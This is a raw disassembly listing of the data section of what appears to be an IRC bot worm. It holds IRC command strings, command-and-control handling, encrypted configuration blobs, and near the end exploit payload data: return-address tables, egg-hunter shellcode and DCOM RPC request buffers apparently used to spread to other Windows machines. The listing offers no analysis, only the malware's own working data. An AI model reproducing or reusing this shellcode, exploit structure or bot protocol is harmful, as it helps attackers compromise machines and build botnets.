aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo
dword_4194CC	dd 3430032Dh, 2037802h	; DATA XREF: sub_409AD5:loc_409B25o
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h			; DATA XREF: sub_40A2D2+159o
dword_419660	dd 0A0D7325h, 0		; DATA XREF: sub_40A2D2+6Eo
dword_419668	dd 3334h		; DATA XREF: sub_40A2D2+41o
dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 259B8h		; DATA XREF: sub_40A9CF+1ECDr
		align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 577ED30h		; DATA XREF: sub_40A9CF+1C87r
		dd 2 dup(0)
dword_419788	dd 5658h		; DATA XREF: sub_40A9CF+1C72r
		align 10h
dword_419790	dd 4827598h		; DATA XREF: sub_40A9CF+1C4Br
		dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 2DEB94F9h		; DATA XREF: sub_40A9CF+1BE9r
		dd 3 dup(0)
dword_4197B4	dd 2E6BE5C8h		; DATA XREF: sub_40A9CF+1BC2r
		align 10h
dword_4197C0	dd 2E5B8h		; DATA XREF: sub_40A9CF+1BADr
		align 8
dword_4197C8	dd 2495E5C8h		; DATA XREF: sub_40A9CF+1B86r
		dd 2 dup(0)
dword_4197D4	dd 24858h		; DATA XREF: sub_40A9CF+1B71r
		dd 0
dword_4197DC	dd 21DFB0F8h		; DATA XREF: sub_40A9CF+1B36r
		dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 26809888h		; DATA XREF: sub_40A9CF+1AFCr
		dd 2 dup(0)
dword_419818	dd 266E8h		; DATA XREF: sub_40A9CF+1AE7r
		align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 91DF38h		; DATA XREF: sub_40A9CF+19B1r
		dd 2 dup(0)
dword_419844	dd 2343003h, 2037325h	; DATA XREF: sub_40A9CF+1992o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
		align 4
dword_419898	dd 42A40FB6h		; DATA XREF: sub_40A9CF+180Br
		dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 151858h		; DATA XREF: sub_40A9CF+1710r
		align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch			; DATA XREF: sub_40A9CF:loc_40BFBAo
					; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 24858h		; DATA XREF: sub_40A9CF+1534r
		dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 0B7DFB102h		; DATA XREF: sub_40A9CF+14F5r
		dd 3 dup(0)
dword_41999C	dd 4B836E8h		; DATA XREF: sub_40A9CF+14E0r
		dd 2 dup(0)
dword_4199A8	dd 3E08h		; DATA XREF: sub_40A9CF+14B2r
		align 10h
dword_4199B0	dd 952EF8h		; DATA XREF: sub_40A9CF+1484r
		dd 2 dup(0)
dword_4199BC	dd 22F78h		; DATA XREF: sub_40A9CF+146Fr
		dd 0
dword_4199C4	dd 59D83703h		; DATA XREF: sub_40A9CF+1450r
		dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 1197E8h		; DATA XREF: sub_40A9CF+1400r
		align 10h
dword_419A10	dd 2AEC3778h		; DATA XREF: sub_40A9CF+1399r
		dd 2 dup(0)
dword_419A1C	dd 22DB0h		; DATA XREF: sub_40A9CF+1374r
		dd 0
dword_419A24	dd 155E78h		; DATA XREF: sub_40A9CF+135Fr
		align 10h
dword_419A30	dd 135A78h		; DATA XREF: sub_40A9CF+134Ar
		dd 2 dup(0)
dword_419A3C	dd 45444F4Dh, 732520h	; DATA XREF: sub_40A9CF+1333o
dword_419A44	dd 121930h		; DATA XREF: sub_40A9CF+1310r
		align 10h
dword_419A50	dd 0D0EBFCFDh		; DATA XREF: sub_40A9CF+12E9r
		align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
dword_419A7C	dd 90F030h		; DATA XREF: sub_40A9CF+125Fr
		dd 2 dup(0)
dword_419A88	dd 29FB0h		; DATA XREF: sub_40A9CF+122Br
		align 10h
dword_419A90	dd 58EE830h		; DATA XREF: sub_40A9CF+11E7r
		dd 2 dup(0)
dword_419A9C	dd 25570h		; DATA XREF: sub_40A9CF+11A3r
		dd 0
dword_419AA4	dd 969E58h		; DATA XREF: sub_40A9CF+114Cr
		align 10h
dword_419AB0	dd 54524150h, 732520h	; DATA XREF: sub_40A9CF+1135o
dword_419AB8	dd 0FF778h		; DATA XREF: sub_40A9CF+1112r
		dd 2 dup(0)
dword_419AC4	dd 0FB288h		; DATA XREF: sub_40A9CF+10B0r
		align 10h
dword_419AD0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o
					; sub_40A9CF+10FAo ...
dword_419ADC	dd 12A488h		; DATA XREF: sub_40A9CF+102Cr
		dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 55D1DB0h		; DATA XREF: sub_40A9CF+FF6r
		dd 2 dup(0)
dword_419B08	dd 85A058h		; DATA XREF: sub_40A9CF+FC1r
		dd 2 dup(0)
dword_419B14	dd 988A30h		; DATA XREF: sub_40A9CF+F80r
		align 10h
dword_419B20	dd 53005939h		; DATA XREF: sub_40A9CF+F52r
		align 10h
dword_419B30	dd 2AD87238h		; DATA XREF: sub_40A9CF+F24r
		dd 2 dup(0)
dword_419B3C	dd 903F4F39h		; DATA XREF: sub_40A9CF+EFEr
		dd 3 dup(0)
dword_419B4C	dd 3F53B78h		; DATA XREF: sub_40A9CF+ED0r
		dd 2 dup(0)
dword_419B58	dd 1054F8h		; DATA XREF: sub_40A9CF+EAAr
		dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 2AC15529h		; DATA XREF: sub_40A9CF+E5Ar
		dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
dword_419BA4	dd 90DB78h		; DATA XREF: sub_40A9CF+DC8r
		align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 27B78h		; DATA XREF: sub_40A9CF+CAFr
		align 8
dword_419BE8	dd 0F669DEC8h		; DATA XREF: sub_40A9CF+C68r
		dd 3 dup(0)
dword_419BF8	dd 51AF03CEh		; DATA XREF: sub_40A9CF+C05r
		dd 4 dup(0)
dword_419C0C	dd 560C8BD9h		; DATA XREF: sub_40A9CF+BDEr
		dd 3 dup(0)
dword_419C1C	dd 125EC8h		; DATA XREF: sub_40A9CF+B97r
		dd 2 dup(0)
dword_419C28	dd 23B2DEC8h		; DATA XREF: sub_40A9CF+B82r
		dd 2 dup(0)
dword_419C34	dd 3E3DEC8h		; DATA XREF: sub_40A9CF+B6Dr
		align 10h
dword_419C40	dd 2AC19078h		; DATA XREF: sub_40A9CF+B3Fr
		dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_40A9CF+B20o
dword_419C5C	dd 3D18h		; DATA XREF: sub_40A9CF+B0Cr
		dd 0
dword_419C64	dd 25CB99D8h		; DATA XREF: sub_40A9CF+AE5r
		align 10h
dword_419C70	dd 26F91BF8h		; DATA XREF: sub_40A9CF+AB4r
		dd 2 dup(0)
dword_419C7C	dd 26F7D4F8h		; DATA XREF: sub_40A9CF+A83r
		dd 2 dup(0)
dword_419C88	dd 0BA3DCE82h		; DATA XREF: sub_40A9CF+A5Dr
		dd 3 dup(0)
dword_419C98	dd 0BA3E0C3Ah		; DATA XREF: sub_40A9CF+A11r
		dd 3 dup(0)
dword_419CA8	dd 27740A05h		; DATA XREF: sub_40A9CF+9DCr
		dd 3 dup(0)
dword_419CB8	dd 3F2F239h		; DATA XREF: sub_40A9CF+9A1r
		dd 3 dup(0)
dword_419CC8	dd 12E5F8h		; DATA XREF: sub_40A9CF+96Cr
		dd 2 dup(0)
dword_419CD4	dd 11709839h		; DATA XREF: sub_40A9CF+937r
		dd 3 dup(0)
dword_419CE4	dd 24EBDF78h		; DATA XREF: sub_40A9CF+911r
		align 10h
dword_419CF0	dd 1274D8h		; DATA XREF: sub_40A9CF+8FCr
		dd 2 dup(0)
dword_419CFC	dd 119530h		; DATA XREF: sub_40A9CF+8C5r
		dd 2 dup(0)
dword_419D08	dd 5070h		; DATA XREF: sub_40A9CF+87Er
		align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo
dword_419D78	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_40A9CF+7D2o
dword_419D84	dd 9Ah,	0		; DATA XREF: sub_40A9CF+79Eo
dword_419D8C	dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h
					; DATA XREF: sub_40A9CF+790o
		dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0)
dword_419DB0	dd 4CFC788h		; DATA XREF: sub_40A9CF+77Ar
		dd 2 dup(0)
dword_419DBC	dd 225CC0D9h		; DATA XREF: sub_40A9CF+753r
		dd 3 dup(0)
dword_419DCC	dd 16C4931h		; DATA XREF: sub_40A9CF+6EDr
		dd 3 dup(0)
dword_419DDC	dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh
					; DATA XREF: sub_40A9CF+534o
		dd 87F6CDABh, 2	dup(0)
dword_419DFC	dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0)
					; DATA XREF: sub_40A9CF+448o
dword_419E14	dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: sub_40A9CF+437o
		dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h
		dd 0BDB1F9BBh, 2 dup(0)
dword_419E48	dd 21CC8h		; DATA XREF: sub_40A9CF+410r
		align 10h
dword_419E50	dd 3F1EAF9h		; DATA XREF: sub_40A9CF+3E9r
		align 10h
dword_419E60	dd 3EDD4F9h		; DATA XREF: sub_40A9CF+3BBr
		align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 242660F8h		; DATA XREF: sub_40A9CF+2C0r
		dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h		; DATA XREF: sub_40A9CF+1E3o
dword_419EC4	dd 2B7260F8h		; DATA XREF: sub_40A9CF+18Dr
		align 10h
dword_419ED0	dd 8EB758h		; DATA XREF: sub_40A9CF+158r
		dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 473EDB0h		; DATA XREF: sub_40A9CF+106r
		dd 2 dup(0)
dword_419F04	dd 4B43494Eh, 732520h	; DATA XREF: sub_40A9CF+CCo
					; sub_40A9CF+EFo ...
dword_419F0C	dd 1685E8h		; DATA XREF: sub_40A9CF+90r
		dd 2 dup(0)
dword_419F18	dd 3C1A6B1h		; DATA XREF: sub_40A9CF+69r
		dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree_0		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1			; DATA XREF: sub_40D53F:loc_40D680o
dword_41A03C	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_40D53F:loc_40D629o
dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo
dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_40D53F+63o
aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Eh	; DATA XREF: sub_40D871+290o
dword_41A0E0	dd 4950013Ah, 474Eh	; DATA XREF: sub_40D871:loc_40DAEBo
dword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_40D871+226o
dword_41A138	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o
aSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43h	; DATA XREF: sub_40D871+A6o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
		dd 2 dup(4A9D5E21h), 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 8
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_410649+59o
					; sub_410B52+Fo
dword_41A7B0	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_410649+Fo
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_410649+181o
